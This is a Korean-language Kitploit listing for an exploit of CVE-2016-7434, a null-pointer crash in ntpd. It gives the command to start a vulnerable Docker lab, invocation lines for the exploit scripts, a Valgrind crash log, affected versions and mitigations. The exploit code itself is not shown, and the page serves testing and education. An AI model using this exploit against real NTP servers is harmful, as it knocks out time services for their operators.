Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
exploit-CVE-2016-7434 — NTPD 원격 DOS 익스플로잇 및 취약한 컨테이너 | Kitploit
도구/GitHubGitHub/opsxcq/exploit-cve-2016-7434
Container SecurityVulnerability AnalysisExploitationPenetration TestingLearning & Education
GitHubopsxcq/exploit-cve-2016-7434

exploit-CVE-2016-7434

NTPD 원격 DOS 익스플로잇 및 취약한 컨테이너

저장소 보기
2513109년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2016-7434 ntpd DoS 익스플로잇

Docker Pulls

ntpd는 애플리케이션을 크래시시키기 위해 트리거할 수 있는 널 포인터 참조(null pointer reference) 문제가 있습니다. NTP.org에 따르면, "ntpd가 악의적으로 조작된 패킷을 보내는 서버의 mrulist 쿼리 요청을 허용하도록 구성된 경우, ntpd는 그 조작된 mrulist 쿼리 패킷을 수신하는 즉시 크래시됩니다."

ntpd 프로그램은 컴퓨터 시스템의 시스템 시간을 인터넷 표준 시간 서버와 동기화하여 설정하고 유지하는 운영 체제 데몬입니다. NTP(Network Time Protocol) 버전 4의 완전한 구현체이며, 버전 1, 2, 3과도 호환됩니다.

MRU 목록을 읽는 루틴(read_mru_list)은 여기에서 찾을 수 있으며, 예외가 발생하는 줄은 다음 위치에 있습니다.

익스플로잇

취약한 이미지

이 익스플로잇을 테스트할 취약한 시스템이 필요하다면 docker를 사용하여 만들 수 있습니다.

docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434 

취약한 ntpd가 포함된 docker 컨테이너가 시작되므로 이를 익스플로잇할 수 있습니다.

python

./exploit.py -t <target ip> -p <target port>

bash

./exploit.sh <target ip> <target port>

버그 익스플로잇

docker 컨테이너를 대상으로 익스플로잇을 실행하기로 선택했다면, 익스플로잇 후 아래와 같은 결과가 표시됩니다:

==1== Memcheck, a memory error detector
==1== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==1== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==1== Command: /src/ntpd/ntpd -n -c /ntp.conf
==1== 
22 Nov 23:59:27 ntpd[1]: ntpd [email protected] Tue Nov 22 23:28:13 UTC 2016 (1): Starting
22 Nov 23:59:27 ntpd[1]: Command line: /src/ntpd/ntpd -n -c /ntp.conf
22 Nov 23:59:27 ntpd[1]: Cannot set RLIMIT_MEMLOCK: Operation not permitted
22 Nov 23:59:27 ntpd[1]: proto: precision = 4.680 usec (-18)
22 Nov 23:59:27 ntpd[1]: switching logging to file /dev/null
22 Nov 23:59:27 ntpd[1]: Listen and drop on 0 v6wildcard [::]:123
22 Nov 23:59:27 ntpd[1]: Listen and drop on 1 v4wildcard 0.0.0.0:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 2 lo 127.0.0.1:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 3 eth0 172.17.0.2:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 4 lo [::1]:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 5 eth0 [fe80::42:acff:fe11:2%13]:123
22 Nov 23:59:27 ntpd[1]: Listening on routing socket on fd #22 for interface updates
22 Nov 23:59:28 ntpd[1]: start_kern_loop: ntp_loopfilter.c line 1118: ntp_adjtime: Operation not permitted
22 Nov 23:59:28 ntpd[1]: set_freq: ntp_loopfilter.c line 1081: ntp_adjtime: Operation not permitted
==1== Invalid read of size 1
==1==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1==    by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1==    by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1==    by 0x423FC1: receive (ntp_proto.c:659)
==1==    by 0x412D5F: ntpdmain (ntpd.c:1329)
==1==    by 0x4042B8: main (ntpd.c:392)
==1==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1== 
==1== 
==1== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==1==  Access not within mapped region at address 0x0
==1==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1==    by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1==    by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1==    by 0x423FC1: receive (ntp_proto.c:659)
==1==    by 0x412D5F: ntpdmain (ntpd.c:1329)
==1==    by 0x4042B8: main (ntpd.c:392)
==1==  If you believe this happened as a result of a stack
==1==  overflow in your program's main thread (unlikely but
==1==  possible), you can try to increase the size of the
==1==  main thread stack using the --main-stacksize= flag.
==1==  The main thread stack size used in this run was 204800.
==1== 
==1== HEAP SUMMARY:
==1==     in use at exit: 31,476 bytes in 149 blocks
==1==   total heap usage: 313 allocs, 164 frees, 310,744 bytes allocated
==1== 
==1== LEAK SUMMARY:
==1==    definitely lost: 0 bytes in 0 blocks
==1==    indirectly lost: 0 bytes in 0 blocks
==1==      possibly lost: 2,000 bytes in 2 blocks
==1==    still reachable: 29,476 bytes in 147 blocks
==1==         suppressed: 0 bytes in 0 blocks
==1== Rerun with --leak-check=full to see details of leaked memory
==1== 
==1== For counts of detected and suppressed errors, rerun with: -v
==1== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

valgrind: the 'impossible' happened:
   main(): signal was supposed to be fatal

   host stacktrace:
   ==1==    at 0x380A48EF: show_sched_status_wrk (m_libcassert.c:319)

   sched status:
     running_tid=1

취약한 버전

  • 4.3.90
  • 4.3.25
  • 4.3
  • 4.3.93
  • 4.3.92
  • 4.3.77
  • 4.3.70
  • 4.2.8p8
  • 4.2.8p7
  • 4.2.8p6
  • 4.2.8p5
  • 4.2.8p4
  • 4.2.8p3
  • 4.2.8p2
  • 4.2.8p1
  • 4.2.7p22

취약하지 않은 버전:

  • 4.3.94
  • 4.2.8p9

완화 조치

  • 신뢰할 수 있는 호스트의 mrulist 쿼리 패킷만 허용합니다.
  • BCP-38을 구현합니다.
  • 4.2.8p9로 업그레이드합니다.
  • ntpd 인스턴스를 적절히 모니터링하고, 실행이 중지되면 ntpd를 자동으로 재시작(-g 옵션 없이)하도록 설정합니다.

면책 조항

이 프로그램 또는 이전 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(opsxcq)는 이 프로그램들이 제공하는 정보나 기능을 직접 또는 간접적으로 사용함으로써 발생하는 어떠한 손해에 대해서도 책임지지 않습니다. 작성자 또는 어떠한 인터넷 서비스 제공자도 이 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 책임을 지지 않습니다. 이 프로그램을 사용함으로써, 이 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 크래시, 시스템 침해 등)는 opsxcq의 책임이 아니라는 사실에 동의하게 됩니다.

크레딧

Magnus Klaaborg Stubman(@magnusstubman)이 이 결함을 발견했습니다.

도구 다운로드